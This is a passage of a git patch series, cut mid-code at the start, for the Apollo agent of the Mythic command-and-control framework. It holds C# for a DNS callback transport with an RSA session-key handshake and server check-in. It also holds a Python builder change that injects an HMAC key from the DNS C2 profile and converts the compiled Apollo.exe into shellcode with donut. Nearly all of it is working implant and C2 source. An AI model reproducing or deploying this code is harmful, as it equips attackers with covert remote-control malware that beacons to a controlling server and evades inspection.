receiving response + if (enc_message == this.cache_code) + { + result = this.cached_message_server; + } + else + { + result = enc_message; + this.cached_message_server = result; + onResponse(Serializer.Deserialize(result)); + } + + reset_cycle(); + break; + } + + catch (Exception ex) + { + if (this.error_count_p2 >= this.MAX_ERROR_TOLERANCE_2) + { + reset_init_all(); + } + return false; + } + } + //DebugWriteLine("Releasing egress mutex handle..."); + count = count + 1; + return true; + } + + // Only really used for bind servers so this returns empty + public bool Connect() + { + return true; + } + + public bool IsConnected() + { + return Connected; + } + + public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) + { + if (EncryptedExchangeCheck && !_uuidNegotiated) + { + var rsa = Agent.GetApi().NewRSAKeyPair(4096); + + EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() + { + Action = "staging_rsa", + PublicKey = rsa.ExportPublicKey(), + SessionID = rsa.SessionId + }; + + if (!SendRecv(handshake1, delegate (EKEHandshakeResponse respHandshake) + { + byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); + ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); + ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); + return true; + })) + { + return false; + } + } + string msg = Serializer.Serialize(checkinMsg); + return SendRecv(checkinMsg, delegate (MessageResponse mResp) + { + Connected = true; + if (!_uuidNegotiated) + { + ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); + _uuidNegotiated = true; + } + return onResp(mResp); + }); + } + + } +} From 1bfc064c42ad7cc2010dc16c1f25f072683b02e0 Mon Sep 17 00:00:00 2001 From: Thiago Mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Fri, 31 Dec 2021 20:19:53 -0300 Subject: [PATCH 7/7] hmac_key random generation grabs hmac_key from profile and automatically add it to the payload --- .../apollo/mythic/agent_functions/builder.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/Payload_Type/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/mythic/agent_functions/builder.py index 136ac2f9..e0d4b78b 100644 --- a/Payload_Type/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/mythic/agent_functions/builder.py @@ -1,5 +1,6 @@ from mythic_payloadtype_container.PayloadBuilder import * from mythic_payloadtype_container.MythicCommandBase import * +from mythic_payloadtype_container.MythicRPC import * import os, fnmatch, tempfile, sys, asyncio from distutils.dir_util import copy_tree import traceback @@ -102,6 +103,15 @@ async def build(self) -> BuildResponse: else: special_files_map["Config.cs"][key] = json.dumps(val) try: + main_config_dns = await MythicRPC().execute_c2rpc(c2_profile="dns", function_name="get_instance_settings",message="get config parameters",task_id=None) + main_config_dns = main_config_dns.response + for i in main_config_dns['instances']: + domains = special_files_map["Config.cs"]["callback_domains"] + if domains in i["callback_domains"]: + if "hmac_key" in i: + special_files_map["Config.cs"]["hmac_key"] = i["hmac_key"] + else: + await MythicRPC().execute_c2rpc(c2_profile="dns", function_name="set_hmac_key",message="set hmac key",task_id=None) # make a temp directory for it to live agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) # shutil to copy payload files over @@ -134,7 +144,7 @@ async def build(self) -> BuildResponse: if stderr: stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command output_path = "{}/Apollo/bin/Release/Apollo.exe".format(agent_build_path.name) - + if os.path.exists(output_path): resp.status = BuildStatus.Success targetExeAsmPath = "/srv/ExecuteAssembly.exe" @@ -158,13 +168,13 @@ async def build(self) -> BuildResponse: command = "chmod 777 {}; chmod +x {}".format(donutPath, donutPath) proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, stderr= asyncio.subprocess.PIPE) stdout, stderr = await proc.communicate() - + command = "{} -f 1 {}".format(donutPath, output_path) # need to go through one more step to turn our exe into shellcode proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) stdout, stderr = await proc.communicate() - + stdout_err += f'[stdout]\n{stdout.decode()}\n' stdout_err += f'[stderr]\n{stderr.decode()}'